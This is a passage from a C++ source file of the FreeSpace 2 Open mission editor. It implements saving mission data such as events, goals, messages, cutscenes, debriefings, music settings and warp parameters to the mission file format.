parse_comments(-1);
fout(" %s", Status_target_names[shipp->target[j]]);
}*/
fso_comment_pop(true);
return err;
}
void CFred_mission_save::save_custom_bitmap(const char* expected_string_640,
const char* expected_string_1024,
const char* string_field_640,
const char* string_field_1024,
int blank_lines)
{
if (save_format != MissionFormat::RETAIL) {
if ((*string_field_640 != '\0') || (*string_field_1024 != '\0')) {
while (blank_lines-- > 0) {
fout("\n");
}
}
if (*string_field_640 != '\0') {
fout("\n%s %s", expected_string_640, string_field_640);
}
if (*string_field_1024 != '\0') {
fout("\n%s %s", expected_string_1024, string_field_1024);
}
}
}
int CFred_mission_save::save_cutscenes()
{
char type[NAME_LENGTH];
SCP_string sexp_out;
// Let's just assume it has them for now -
if (!(The_mission.cutscenes.empty())) {
if (save_format != MissionFormat::RETAIL) {
if (optional_string_fred("#Cutscenes")) {
parse_comments(2);
} else {
fout_version("\n\n#Cutscenes\n\n");
}
for (uint i = 0; i < The_mission.cutscenes.size(); i++) {
if (strlen(The_mission.cutscenes[i].filename)) {
// determine the name of this cutscene type
switch (The_mission.cutscenes[i].type) {
case MOVIE_PRE_FICTION:
strcpy_s(type, "$Fiction Viewer Cutscene:");
break;
case MOVIE_PRE_CMD_BRIEF:
strcpy_s(type, "$Command Brief Cutscene:");
break;
case MOVIE_PRE_BRIEF:
strcpy_s(type, "$Briefing Cutscene:");
break;
case MOVIE_PRE_GAME:
strcpy_s(type, "$Pre-game Cutscene:");
break;
case MOVIE_PRE_DEBRIEF:
strcpy_s(type, "$Debriefing Cutscene:");
break;
case MOVIE_END_CAMPAIGN:
strcpy_s(type, "$Campaign End Cutscene:");
break;
default:
Int3();
continue;
}
if (optional_string_fred(type)) {
parse_comments();
fout(" %s", The_mission.cutscenes[i].filename);
} else {
fout_version("%s %s\n", type, The_mission.cutscenes[i].filename);
}
required_string_fred("+formula:");
parse_comments();
convert_sexp_to_string(sexp_out, The_mission.cutscenes[i].formula, SEXP_SAVE_MODE);
fout(" %s", sexp_out.c_str());
}
}
required_string_fred("#end");
parse_comments();
} else {
_viewport->dialogProvider->showButtonDialog(DialogType::Warning,
"Incompatibility with retail mission format",
"Warning: This mission contains cutscene data, but you are saving in the retail mission format. This information will be lost.",
{ DialogButton::Ok });
}
}
fso_comment_pop(true);
return err;
}
int CFred_mission_save::save_debriefing()
{
int j, i;
SCP_string sexp_out;
for (j = 0; j < Num_teams; j++) {
Debriefing = &Debriefings[j];
required_string_fred("#Debriefing_info");
parse_comments(2);
save_custom_bitmap("$Background 640:",
"$Background 1024:",
Debriefing->background[GR_640],
Debriefing->background[GR_1024],
1);
required_string_fred("$Num stages:");
parse_comments(2);
fout(" %d", Debriefing->num_stages);
for (i = 0; i < Debriefing->num_stages; i++) {
required_string_fred("$Formula:");
parse_comments(2);
convert_sexp_to_string(sexp_out, Debriefing->stages[i].formula, SEXP_SAVE_MODE);
fout(" %s", sexp_out.c_str());
// XSTR
required_string_fred("$Multi text");
parse_comments();
fout_ext("\n ", "%s", Debriefing->stages[i].text.c_str());
required_string_fred("$end_multi_text");
parse_comments();
if (!drop_white_space(Debriefing->stages[i].voice)[0]) {
strcpy_s(Debriefing->stages[i].voice, "None");
}
required_string_fred("$Voice:");
parse_comments();
fout(" %s", Debriefing->stages[i].voice);
// XSTR
required_string_fred("$Recommendation text:");
parse_comments();
fout_ext("\n ", "%s", Debriefing->stages[i].recommendation_text.c_str());
required_string_fred("$end_multi_text");
parse_comments();
fso_comment_pop();
}
}
fso_comment_pop(true);
return err;
}
int CFred_mission_save::save_events()
{
SCP_string sexp_out;
int i, j, add_flag;
fred_parse_flag = 0;
required_string_fred("#Events");
parse_comments(2);
fout("\t\t;! %d total\n", Num_mission_events);
for (i = 0; i < Num_mission_events; i++) {
required_string_either_fred("$Formula:", "#Goals");
required_string_fred("$Formula:");
parse_comments(i ? 2 : 1);
convert_sexp_to_string(sexp_out, Mission_events[i].formula, SEXP_SAVE_MODE);
fout(" %s", sexp_out.c_str());
if (*Mission_events[i].name) {
if (optional_string_fred("+Name:", "$Formula:")) {
parse_comments();
} else {
fout("\n+Name:");
}
fout(" %s", Mission_events[i].name);
}
if (optional_string_fred("+Repeat Count:", "$Formula:")) {
parse_comments();
} else {
fout("\n+Repeat Count:");
}
// if we have a trigger count but no repeat count, we want the event to loop until it has triggered enough times
if (Mission_events[i].repeat_count == 1 && Mission_events[i].trigger_count != 1) {
fout(" -1");
} else {
fout(" %d", Mission_events[i].repeat_count);
}
if (save_format != MissionFormat::RETAIL && Mission_events[i].trigger_count != 1) {
fso_comment_push(";;FSO 3.6.11;;");
if (optional_string_fred("+Trigger Count:", "$Formula:")) {
parse_comments();
} else {
fout_version("\n+Trigger Count:");
}
fso_comment_pop();
fout(" %d", Mission_events[i].trigger_count);
}
if (optional_string_fred("+Interval:", "$Formula:")) {
parse_comments();
} else {
fout("\n+Interval:");
}
fout(" %d", Mission_events[i].interval);
if (Mission_events[i].score != 0) {
if (optional_string_fred("+Score:", "$Formula:")) {
parse_comments();
} else {
fout("\n+Score:");
}
fout(" %d", Mission_events[i].score);
}
if (Mission_events[i].chain_delay >= 0) {
if (optional_string_fred("+Chained:", "$Formula:")) {
parse_comments();
} else {
fout("\n+Chained:");
}
fout(" %d", Mission_events[i].chain_delay);
}
//XSTR
if (Mission_events[i].objective_text) {
if (optional_string_fred("+Objective:", "$Formula:")) {
parse_comments();
} else {
fout("\n+Objective:");
}
fout_ext(" ", "%s", Mission_events[i].objective_text);
}
//XSTR
if (Mission_events[i].objective_key_text) {
if (optional_string_fred("+Objective key:", "$Formula:")) {
parse_comments();
} else {
fout("\n+Objective key:");
}
fout_ext(" ", "%s", Mission_events[i].objective_key_text);
}
// save team
if (Mission_events[i].team >= 0) {
if (optional_string_fred("+Team:")) {
parse_comments();
} else {
fout("\n+Team:");
}
fout(" %d", Mission_events[i].team);
}
// save flags, if any
if (save_format != MissionFormat::RETAIL) {
// we need to lazily-write the tag because we should only write it if there are also flags to write
// (some of the flags are transient, internal flags)
bool wrote_tag = false;
for (j = 0; j < Num_mission_event_flags; ++j) {
if (Mission_events[i].flags & Mission_event_flags[j].def) {
if (!wrote_tag) {
wrote_tag = true;
fso_comment_push(";;FSO 20.0.0;;");
if (optional_string_fred("+Event Flags: (", "$Formula:")) {
parse_comments();
}
else {
fout_version("\n+Event Flags: (");
}
fso_comment_pop();
}
fout(" \"%s\"", Mission_event_flags[j].name);
}
}
if (wrote_tag)
fout(" )");
}
if (save_format != MissionFormat::RETAIL && Mission_events[i].mission_log_flags != 0) {
fso_comment_push(";;FSO 3.6.11;;");
if (optional_string_fred("+Event Log Flags: (", "$Formula:")) {
parse_comments();
} else {
fout_version("\n+Event Log Flags: (");
}
fso_comment_pop();
for (j = 0; j < MAX_MISSION_EVENT_LOG_FLAGS; j++) {
add_flag = 1 << j;
if (Mission_events[i].mission_log_flags & add_flag) {
fout(" \"%s\"", Mission_event_log_flags[j]);
}
}
fout(" )");
}
// save event annotations
if (save_format != MissionFormat::RETAIL && !Event_annotations.empty())
{
bool at_least_one = false;
fso_comment_push(";;FSO 21.0.0;;");
event_annotation default_ea;
// see if there is an annotation for this event
for (const auto &ea : Event_annotations)
{
if (ea.path.empty() || ea.path.front() != i)
continue;
if (!at_least_one)
{
if (optional_string_fred("$Annotations Start", "$Formula:"))
parse_comments();
else
fout_version("\n$Annotations Start");
at_least_one = true;
}
if (ea.comment != default_ea.comment)
{
if (optional_string_fred("+Comment:", "$Formula:"))
parse_comments();
else
fout_version("\n+Comment:");
auto copy = ea.comment;
lcl_fred_replace_stuff(copy);
fout(" %s", copy.c_str());
if (optional_string_fred("$end_multi_text", "$Formula:"))
parse_comments();
else
fout_version("\n$end_multi_text");
}
if (ea.r != default_ea.r || ea.g != default_ea.g || ea.b != default_ea.b)
{
if (optional_string_fred("+Background Color:", "$Formula:"))
parse_comments();
else
fout_version("\n+Background Color:");
fout(" %d, %d, %d", ea.r, ea.g, ea.b);
}
if (ea.path.size() > 1)
{
if (optional_string_fred("+Path:", "$Formula:"))
parse_comments();
else
fout_version("\n+Path:");
bool comma = false;
auto it = ea.path.begin();
for (++it; it != ea.path.end(); ++it)
{
if (comma)
fout(",");
comma = true;
fout(" %d", *it);
}
}
}
if (at_least_one)
{
if (optional_string_fred("$Annotations End", "$Formula:"))
parse_comments();
else
fout_version("\n$Annotations End");
}
fso_comment_pop();
}
}
fso_comment_pop(true);
return err;
}
int CFred_mission_save::save_fiction()
{
if (mission_has_fiction()) {
if (save_format != MissionFormat::RETAIL) {
if (optional_string_fred("#Fiction Viewer")) {
parse_comments(2);
} else {
fout("\n\n#Fiction Viewer");
}
// we have multiple stages now, so save them all
for (SCP_vector<fiction_viewer_stage>::iterator stage = Fiction_viewer_stages.begin();
stage != Fiction_viewer_stages.end(); ++stage) {
fout("\n");
// save file
required_string_fred("$File:");
parse_comments();
fout(" %s", stage->story_filename);
// save font
if (strlen(stage->font_filename) > 0) //-V805
{
if (optional_string_fred("$Font:")) {
parse_comments();
} else {
fout("\n$Font:");
}
fout(" %s", stage->font_filename);
} else {
optional_string_fred("$Font:");
}
// save voice
if (strlen(stage->voice_filename) > 0) //-V805
{
if (optional_string_fred("$Voice:")) {
parse_comments();
} else {
fout("\n$Voice:");
}
fout(" %s", stage->voice_filename);
} else {
optional_string_fred("$Voice:");
}
// save UI
if (strlen(stage->ui_name) > 0) {
if (optional_string_fred("$UI:")) {
parse_comments();
} else {
fout("\n$UI:");
}
fout(" %s", stage->ui_name);
} else {
optional_string_fred("$UI:");
}
// save background
save_custom_bitmap("$Background 640:",
"$Background 1024:",
stage->background[GR_640],
stage->background[GR_1024]);
// save sexp formula if we have one
if (stage->formula >= 0 && stage->formula != Locked_sexp_true) {
SCP_string sexp_out;
convert_sexp_to_string(sexp_out, stage->formula, SEXP_SAVE_MODE);
if (optional_string_fred("$Formula:")) {
parse_comments();
} else {
fout("\n$Formula:");
}
fout(" %s", sexp_out.c_str());
} else {
optional_string_fred("$Formula:");
}
}
} else {
_viewport->dialogProvider->showButtonDialog(DialogType::Warning,
"Incompatibility with retail mission format",
"Warning: This mission contains fiction viewer data, but you are saving in the retail mission format.",
{ DialogButton::Ok });
}
}
fso_comment_pop(true);
return err;
}
int CFred_mission_save::save_goals()
{
SCP_string sexp_out;
int i;
fred_parse_flag = 0;
required_string_fred("#Goals");
parse_comments(2);
fout("\t\t;! %d total\n", Num_goals);
for (i = 0; i < Num_goals; i++) {
int type;
required_string_either_fred("$Type:", "#Waypoints");
required_string_fred("$Type:");
parse_comments(i ? 2 : 1);
type = Mission_goals[i].type & GOAL_TYPE_MASK;
fout(" %s", Goal_type_names[type]);
if (*Mission_goals[i].name) {
if (optional_string_fred("+Name:", "$Type:")) {
parse_comments();
} else {
fout("\n+Name:");
}
fout(" %s", Mission_goals[i].name);
}
// XSTR
required_string_fred("$MessageNew:");
parse_comments();
fout_ext(" ", "%s", Mission_goals[i].message);
fout("\n");
required_string_fred("$end_multi_text");
parse_comments(0);
required_string_fred("$Formula:");
parse_comments();
convert_sexp_to_string(sexp_out, Mission_goals[i].formula, SEXP_SAVE_MODE);
fout(" %s", sexp_out.c_str());
if (Mission_goals[i].type & INVALID_GOAL) {
if (optional_string_fred("+Invalid", "$Type:")) {
parse_comments();
} else {
fout("\n+Invalid");
}
}
if (Mission_goals[i].flags & MGF_NO_MUSIC) {
if (optional_string_fred("+No music", "$Type:")) {
parse_comments();
} else {
fout("\n+No music");
}
}
if (Mission_goals[i].score != 0) {
if (optional_string_fred("+Score:", "$Type:")) {
parse_comments();
} else {
fout("\n+Score:");
}
fout(" %d", Mission_goals[i].score);
}
if (The_mission.game_type & MISSION_TYPE_MULTI_TEAMS) {
if (optional_string_fred("+Team:", "$Type:")) {
parse_comments();
} else {
fout("\n+Team:");
}
fout(" %d", Mission_goals[i].team);
}
fso_comment_pop();
}
fso_comment_pop(true);
return err;
}
int CFred_mission_save::save_matrix(matrix& m)
{
fout("\n\t%f, %f, %f,\n", m.vec.rvec.xyz.x, m.vec.rvec.xyz.y, m.vec.rvec.xyz.z);
fout("\t%f, %f, %f,\n", m.vec.uvec.xyz.x, m.vec.uvec.xyz.y, m.vec.uvec.xyz.z);
fout("\t%f, %f, %f", m.vec.fvec.xyz.x, m.vec.fvec.xyz.y, m.vec.fvec.xyz.z);
return 0;
}
int CFred_mission_save::save_messages()
{
int i;
fred_parse_flag = 0;
required_string_fred("#Messages");
parse_comments(2);
fout("\t\t;! %d total\n", Num_messages - Num_builtin_messages);
// Goober5000 - special Command info
if (save_format != MissionFormat::RETAIL) {
if (stricmp(The_mission.command_sender, DEFAULT_COMMAND) != 0) {
fout("\n$Command Sender: %s", The_mission.command_sender);
}
if (The_mission.command_persona != Default_command_persona) {
fout("\n$Command Persona: %s", Personas[The_mission.command_persona].name);
}
}
for (i = Num_builtin_messages; i < Num_messages; i++) {
required_string_either_fred("$Name:", "#Reinforcements");
required_string_fred("$Name:");
parse_comments(2);
fout(" %s", Messages[i].name);
// team
required_string_fred("$Team:");
parse_comments(1);
if ((Messages[i].multi_team < 0) || (Messages[i].multi_team >= 2)) {
fout(" %d", -1);
} else {
fout(" %d", Messages[i].multi_team);
}
// XSTR
required_string_fred("$MessageNew:");
parse_comments();
fout_ext(" ", "%s", Messages[i].message);
fout("\n");
required_string_fred("$end_multi_text");
parse_comments(0);
if (Messages[i].persona_index != -1) {
if (optional_string_fred("+Persona:", "$Name:")) {
parse_comments();
} else {
fout("\n+Persona:");
}
fout(" %s", Personas[Messages[i].persona_index].name);
}
if (Messages[i].avi_info.name) {
if (optional_string_fred("+AVI Name:", "$Name:")) {
parse_comments();
} else {
fout("\n+AVI Name:");
}
fout(" %s", Messages[i].avi_info.name);
}
if (Messages[i].wave_info.name) {
if (optional_string_fred("+Wave Name:", "$Name:")) {
parse_comments();
} else {
fout("\n+Wave Name:");
}
fout(" %s", Messages[i].wave_info.name);
}
fso_comment_pop();
}
fso_comment_pop(true);
return err;
}
int CFred_mission_save::save_mission_file(const char* pathname_in)
{
char backup_name[256], savepath[MAX_PATH_LEN], pathname[MAX_PATH_LEN];
strcpy_s(pathname, pathname_in);
strcpy_s(savepath, "");
auto p = strrchr(pathname, DIR_SEPARATOR_CHAR);
if (p) {
*p = '\0';
strcpy_s(savepath, pathname);
*p = DIR_SEPARATOR_CHAR;
strcat_s(savepath, DIR_SEPARATOR_STR);
}
strcat_s(savepath, "saving.xxx");
save_mission_internal(savepath);
if (!err) {
strcpy_s(backup_name, pathname);
if (backup_name[strlen(backup_name) - 4] == '.') {
backup_name[strlen(backup_name) - 4] = 0;
}
strcat_s(backup_name, ".bak");
cf_delete(backup_name, CF_TYPE_MISSIONS);
cf_rename(pathname, backup_name, CF_TYPE_MISSIONS);
cf_rename(savepath, pathname, CF_TYPE_MISSIONS);
}
return err;
}
int CFred_mission_save::save_mission_info()
{
required_string_fred("#Mission Info");
parse_comments(0);
required_string_fred("$Version:");
parse_comments(2);
fout(" %.2f", FRED_MISSION_VERSION);
// XSTR
required_string_fred("$Name:");
parse_comments();
fout_ext(" ", "%s", The_mission.name);
required_string_fred("$Author:");
parse_comments();
fout(" %s", The_mission.author);
required_string_fred("$Created:");
parse_comments();
fout(" %s", The_mission.created);
required_string_fred("$Modified:");
parse_comments();
fout(" %s", The_mission.modified);
required_string_fred("$Notes:");
parse_comments();
fout("\n%s", The_mission.notes);
required_string_fred("$End Notes:");
parse_comments(0);
// XSTR
required_string_fred("$Mission Desc:");
parse_comments(2);
fout_ext("\n", "%s", The_mission.mission_desc);
fout("\n");
required_string_fred("$end_multi_text");
parse_comments(0);
#if 0
if (optional_string_fred("+Game Type:"))
parse_comments(2);
else
fout("\n\n+Game Type:");
fout("\n%s", Game_types[The_mission.game_type]);
#endif
if (optional_string_fred("+Game Type Flags:")) {
parse_comments(1);
} else {
fout("\n+Game Type Flags:");
}
fout(" %d", The_mission.game_type);
if (optional_string_fred("+Flags:")) {
parse_comments(1);
} else {
fout("\n+Flags:");
}
fout(" %" PRIu64, The_mission.flags.to_u64());
// maybe write out Nebula intensity
if (The_mission.flags[Mission::Mission_Flags::Fullneb]) {
Assert(Neb2_awacs > 0.0f);
fout("\n+NebAwacs: %f\n", Neb2_awacs);
// storm name
fout("\n+Storm: %s\n", Mission_parse_storm_name);
}
// Goober5000
if (save_format != MissionFormat::RETAIL) {
// write out the nebula clipping multipliers
fout("\n+Fog Near Mult: %f\n", Neb2_fog_near_mult);
fout("\n+Fog Far Mult: %f\n", Neb2_fog_far_mult);
if (The_mission.contrail_threshold != CONTRAIL_THRESHOLD_DEFAULT) {
fout("\n$Contrail Speed Threshold: %d\n", The_mission.contrail_threshold);
}
}
// For multiplayer missions -- write out the number of player starts and number of respawns
if (The_mission.game_type & MISSION_TYPE_MULTI) {
if (optional_string_fred("+Num Players:")) {
parse_comments(2);
} else {
fout("\n+Num Players:");
}
fout(" %d", Player_starts);
if (optional_string_fred("+Num Respawns:")) {
parse_comments(2);
} else {
fout("\n+Num Respawns:");
}
fout(" %d", The_mission.num_respawns);
if (save_format != MissionFormat::RETAIL) {
fso_comment_push(";;FSO 3.6.11;;");
if (optional_string_fred("+Max Respawn Time:")) {
parse_comments(2);
} else {
fout_version("\n+Max Respawn Time:");
}
fso_comment_pop();
fout(" %d", The_mission.max_respawn_delay);
} else {
bypass_comment(";;FSO 3.6.11;; +Max Respawn Time:");
}
}
if (save_format == MissionFormat::RETAIL) {
if (optional_string_fred("+Red Alert:")) {
parse_comments(2);
} else {
fout("\n+Red Alert:");
}
fout(" %d", (The_mission.flags[Mission::Mission_Flags::Red_alert]) ? 1 : 0);
}
if (save_format == MissionFormat::RETAIL) //-V581
{
if (optional_string_fred("+Scramble:")) {
parse_comments(2);
} else {
fout("\n+Scramble:");
}
fout(" %d", (The_mission.flags[Mission::Mission_Flags::Scramble]) ? 1 : 0);
}
if (optional_string_fred("+Disallow Support:")) {
parse_comments(1);
} else {
fout("\n+Disallow Support:");
}
// this is compatible with non-SCP variants - Goober5000
fout(" %d", (The_mission.support_ships.max_support_ships == 0) ? 1 : 0);
// here be WMCoolmon's hull and subsys repair stuff
if (save_format != MissionFormat::RETAIL) {
if (optional_string_fred("+Hull Repair Ceiling:")) {
parse_comments(1);
} else {
fout("\n+Hull Repair Ceiling:");
}
fout(" %f", The_mission.support_ships.max_hull_repair_val);
if (optional_string_fred("+Subsystem Repair Ceiling:")) {
parse_comments(1);
} else {
fout("\n+Subsystem Repair Ceiling:");
}
fout(" %f", The_mission.support_ships.max_subsys_repair_val);
}
if (Mission_all_attack) {
if (optional_string_fred("+All Teams Attack")) {
parse_comments();
} else {
fout("\n+All Teams Attack");
}
}
if (Entry_delay_time) {
if (optional_string_fred("+Player Entry Delay:")) {
parse_comments(2);
} else {
fout("\n\n+Player Entry Delay:");
}
fout("\n%f", f2fl(Entry_delay_time));
}
if (optional_string_fred("+Viewer pos:")) {
parse_comments(2);
} else {
fout("\n\n+Viewer pos:");
}
save_vector(_viewport->view_pos);
if (optional_string_fred("+Viewer orient:")) {
parse_comments();
} else {
fout("\n+Viewer orient:");
}
save_matrix(_viewport->view_orient);
// squadron info
if (!(The_mission.game_type & MISSION_TYPE_MULTI) && (strlen(The_mission.squad_name) > 0)) { //-V805
// squad name
fout("\n+SquadReassignName: %s", The_mission.squad_name);
// maybe squad logo
if (strlen(The_mission.squad_filename) > 0) { //-V805
fout("\n+SquadReassignLogo: %s", The_mission.squad_filename);
}
}
// Goober5000 - special wing info
if (save_format != MissionFormat::RETAIL) {
int i;
fout("\n");
// starting wings
if (strcmp(Starting_wing_names[0], "Alpha") != 0 || strcmp(Starting_wing_names[1], "Beta") != 0
|| strcmp(Starting_wing_names[2], "Gamma") != 0) {
fout("\n$Starting wing names: ( ");
for (i = 0; i < MAX_STARTING_WINGS; i++) {
fout("\"%s\" ", Starting_wing_names[i]);
}
fout(")");
}
// squadron wings
if (strcmp(Squadron_wing_names[0], "Alpha") != 0 || strcmp(Squadron_wing_names[1], "Beta") != 0
|| strcmp(Squadron_wing_names[2], "Gamma") != 0 || strcmp(Squadron_wing_names[3], "Delta") != 0
|| strcmp(Squadron_wing_names[4], "Epsilon") != 0) {
fout("\n$Squadron wing names: ( ");
for (i = 0; i < MAX_SQUADRON_WINGS; i++) {
fout("\"%s\" ", Squadron_wing_names[i]);
}
fout(")");
}
// tvt wings
if (strcmp(TVT_wing_names[0], "Alpha") != 0 || strcmp(TVT_wing_names[1], "Zeta") != 0) {
fout("\n$Team-versus-team wing names: ( ");
for (i = 0; i < MAX_TVT_WINGS; i++) {
fout("\"%s\" ", TVT_wing_names[i]);
}
fout(")");
}
}
save_custom_bitmap("$Load Screen 640:",
"$Load Screen 1024:",
The_mission.loading_screen[GR_640],
The_mission.loading_screen[GR_1024],
1);
// Phreak's skybox stuff
if (strlen(The_mission.skybox_model) > 0) //-V805
{
char out_str[NAME_LENGTH];
char* period;
// kill off any extension, we will add one here
strcpy_s(out_str, The_mission.skybox_model);
period = strrchr(out_str, '.');
if (period != NULL) {
*period = 0;
}
fso_comment_push(";;FSO 3.6.0;;");
if (optional_string_fred("$Skybox Model:")) {
parse_comments(2);
fout(" %s.pof", out_str);
} else {
fout_version("\n\n$Skybox Model: %s.pof", out_str);
}
fso_comment_pop();
} else {
bypass_comment(";;FSO 3.6.0;; $Skybox Model:");
}
// orientation?
if ((strlen(The_mission.skybox_model) > 0)
&& !vm_matrix_same(&vmd_identity_matrix, &The_mission.skybox_orientation)) {
fso_comment_push(";;FSO 3.6.14;;");
if (optional_string_fred("+Skybox Orientation:")) {
parse_comments(1);
save_matrix(The_mission.skybox_orientation);
} else {
fout_version("\n+Skybox Orientation:");
save_matrix(The_mission.skybox_orientation);
}
fso_comment_pop();
} else {
bypass_comment(";;FSO 3.6.14;; +Skybox Orientation:");
}
// are skybox flags in use?
if (The_mission.skybox_flags != DEFAULT_NMODEL_FLAGS) {
//char out_str[4096];
fso_comment_push(";;FSO 3.6.11;;");
if (optional_string_fred("+Skybox Flags:")) {
parse_comments(1);
fout(" %d", The_mission.skybox_flags);
} else {
fout_version("\n+Skybox Flags: %d", The_mission.skybox_flags);
}
fso_comment_pop();
} else {
bypass_comment(";;FSO 3.6.11;; +Skybox Flags:");
}
// Goober5000's AI profile stuff
int profile_index = AI_PROFILES_INDEX(The_mission.ai_profile);
Assert(profile_index >= 0 && profile_index < MAX_AI_PROFILES);
fso_comment_push(";;FSO 3.6.9;;");
if (optional_string_fred("$AI Profile:")) {
parse_comments(2);
fout(" %s", The_mission.ai_profile->profile_name);
} else {
fout_version("\n\n$AI Profile: %s", The_mission.ai_profile->profile_name);
}
fso_comment_pop();
// sound environment (EFX/EAX) - taylor
sound_env* m_env = &The_mission.sound_environment;
if ((m_env->id >= 0) && (m_env->id < (int) EFX_presets.size())) {
EFXREVERBPROPERTIES* prop = &EFX_presets[m_env->id];
fso_comment_push(";;FSO 3.6.12;;");
fout_version("\n\n$Sound Environment: %s", prop->name.c_str());
if (m_env->volume != prop->flGain) {
fout_version("\n+Volume: %f", m_env->volume);
}
if (m_env->damping != prop->flDecayHFRatio) {
fout_version("\n+Damping: %f", m_env->damping);
}
if (m_env->decay != prop->flDecayTime) {
fout_version("\n+Decay Time: %f", m_env->decay);
}
fso_comment_pop();
}
return err;
}
void CFred_mission_save::save_mission_internal(const char* pathname)
{
time_t rawtime;
time(&rawtime);
auto timeinfo = localtime(&rawtime);
strftime(The_mission.modified, sizeof(The_mission.modified), "%x at %X", timeinfo);
reset_parse();
fred_parse_flag = 0;
fp = cfopen(pathname, "wt", CFILE_NORMAL, CF_TYPE_MISSIONS);
if (!fp) {
nprintf(("Error", "Can't open mission file to save.\n"));
err = -1;
return;
}
// Goober5000
convert_special_tags_to_retail();
if (save_mission_info()) {
err = -2;
} else if (save_plot_info()) {
err = -3;
} else if (save_variables()) {
err = -3;
} else if (save_containers()) {
err = -3;
// else if (save_briefing_info())
// err = -4;
} else if (save_cutscenes()) {
err = -4;
} else if (save_fiction()) {
err = -3;
} else if (save_cmd_briefs()) {
err = -4;
} else if (save_briefing()) {
err = -4;
} else if (save_debriefing()) {
err = -5;
} else if (save_players()) {
err = -6;
} else if (save_objects()) {
err = -7;
} else if (save_wings()) {
err = -8;
} else if (save_events()) {
err = -9;
} else if (save_goals()) {
err = -10;
} else if (save_waypoints()) {
err = -11;
} else if (save_messages()) {
err = -12;
} else if (save_reinforcements()) {
err = -13;
} else if (save_bitmaps()) {
err = -14;
} else if (save_asteroid_fields()) {
err = -15;
} else if (save_music()) {
err = -16;
} else {
required_string_fred("#End");
parse_comments(2);
token_found = NULL;
parse_comments();
fout("\n");
}
cfclose(fp);
if (err)
mprintf(("Mission saving error code #%d\n", err));
}
int CFred_mission_save::save_music()
{
required_string_fred("#Music");
parse_comments(2);
required_string_fred("$Event Music:");
parse_comments(2);
if (Current_soundtrack_num < 0) {
fout(" None");
} else {
fout(" %s", Soundtracks[Current_soundtrack_num].name);
}
// Goober5000 - save using the special comment prefix
if (stricmp(The_mission.substitute_event_music_name, "None") != 0) {
fso_comment_push(";;FSO 3.6.9;;");
if (optional_string_fred("$Substitute Event Music:")) {
parse_comments(1);
fout(" %s", The_mission.substitute_event_music_name);
} else {
fout_version("\n$Substitute Event Music: %s", The_mission.substitute_event_music_name);
}
fso_comment_pop();
} else {
bypass_comment(";;FSO 3.6.9;; $Substitute Event Music:");
}
required_string_fred("$Briefing Music:");
parse_comments();
if (Mission_music[SCORE_BRIEFING] < 0) {
fout(" None");
} else {
fout(" %s", Spooled_music[Mission_music[SCORE_BRIEFING]].name);
}
// Goober5000 - save using the special comment prefix
if (stricmp(The_mission.substitute_briefing_music_name, "None") != 0) {
fso_comment_push(";;FSO 3.6.9;;");
if (optional_string_fred("$Substitute Briefing Music:")) {
parse_comments(1);
fout(" %s", The_mission.substitute_briefing_music_name);
} else {
fout_version("\n$Substitute Briefing Music: %s", The_mission.substitute_briefing_music_name);
}
fso_comment_pop();
} else {
bypass_comment(";;FSO 3.6.9;; $Substitute Briefing Music:");
}
// avoid keeping the old one around
bypass_comment(";;FSO 3.6.8;; $Substitute Music:");
// old stuff
if (Mission_music[SCORE_DEBRIEF_SUCCESS] != event_music_get_spooled_music_index("Success")) {
if (optional_string_fred("$Debriefing Success Music:")) {
parse_comments(1);
} else {
fout("\n$Debriefing Success Music:");
}
fout(" %s",
Mission_music[SCORE_DEBRIEF_SUCCESS] < 0 ? "None"
: Spooled_music[Mission_music[SCORE_DEBRIEF_SUCCESS]].name);
}
if (save_format != MissionFormat::RETAIL && Mission_music[SCORE_DEBRIEF_AVERAGE] != event_music_get_spooled_music_index("Average")) {
if (optional_string_fred("$Debriefing Average Music:")) {
parse_comments(1);
} else {
fout("\n$Debriefing Average Music:");
}
fout(" %s",
Mission_music[SCORE_DEBRIEF_AVERAGE] < 0 ? "None"
: Spooled_music[Mission_music[SCORE_DEBRIEF_AVERAGE]].name);
}
if (Mission_music[SCORE_DEBRIEF_FAIL] != event_music_get_spooled_music_index("Failure")) {
if (optional_string_fred("$Debriefing Fail Music:")) {
parse_comments(1);
} else {
fout("\n$Debriefing Fail Music:");
}
fout(" %s",
Mission_music[SCORE_DEBRIEF_FAIL] < 0 ? "None" : Spooled_music[Mission_music[SCORE_DEBRIEF_FAIL]].name);
}
// Goober5000 - save using the special comment prefix
if (mission_has_fiction() && Mission_music[SCORE_FICTION_VIEWER] >= 0) {
fso_comment_push(";;FSO 3.6.11;;");
if (optional_string_fred("$Fiction Viewer Music:")) {
parse_comments(1);
fout(" %s", Spooled_music[Mission_music[SCORE_FICTION_VIEWER]].name);
} else {
fout_version("\n$Fiction Viewer Music: %s", Spooled_music[Mission_music[SCORE_FICTION_VIEWER]].name);
}
fso_comment_pop();
} else {
bypass_comment(";;FSO 3.6.11;; $Fiction Viewer Music:");
}
fso_comment_pop(true);
return err;
}
int CFred_mission_save::save_warp_params(WarpDirection direction, ship *shipp)
{
if (save_format == MissionFormat::RETAIL)
return err;
// for writing to file; c.f. parse_warp_params
const char *prefix = (direction == WarpDirection::WARP_IN) ? "$Warpin" : "$Warpout";
WarpParams *shipp_params, *sip_params;
if (direction == WarpDirection::WARP_IN)
{
// if exactly the same params used, no need to output anything
if (shipp->warpin_params_index == Ship_info[shipp->ship_info_index].warpin_params_index)
return err;
shipp_params = &Warp_params[shipp->warpin_params_index];
sip_params = &Warp_params[Ship_info[shipp->ship_info_index].warpin_params_index];
}
else
{
// if exactly the same params used, no need to output anything
if (shipp->warpout_params_index == Ship_info[shipp->ship_info_index].warpout_params_index)
return err;
shipp_params = &Warp_params[shipp->warpout_params_index];
sip_params = &Warp_params[Ship_info[shipp->ship_info_index].warpout_params_index];
}
if (shipp_params->warp_type != sip_params->warp_type)
{
// is it a fireball?
if (shipp_params->warp_type & WT_DEFAULT_WITH_FIREBALL)
{
fout("\n%s type: %s", prefix, Fireball_info[shipp_params->warp_type & WT_FLAG_MASK].unique_id);
}
// probably a warp type
else if (shipp_params->warp_type >= 0 && shipp_params->warp_type < Num_warp_types)
{
fout("\n%s type: %s", prefix, Warp_types[shipp_params->warp_type]);
}
}
if (shipp_params->snd_start != sip_params->snd_start)
{
if (shipp_params->snd_start.isValid())
fout("\n%s Start Sound: %s", prefix, gamesnd_get_game_sound(shipp_params->snd_start)->name.c_str());
}
if (shipp_params->snd_end != sip_params->snd_end)
{
if (shipp_params->snd_end.isValid())
fout("\n%s End Sound: %s", prefix, gamesnd_get_game_sound(shipp_params->snd_end)->name.c_str());
}
if (direction == WarpDirection::WARP_OUT && shipp_params->warpout_engage_time != sip_params->warpout_engage_time)
{
if (shipp_params->warpout_engage_time > 0)
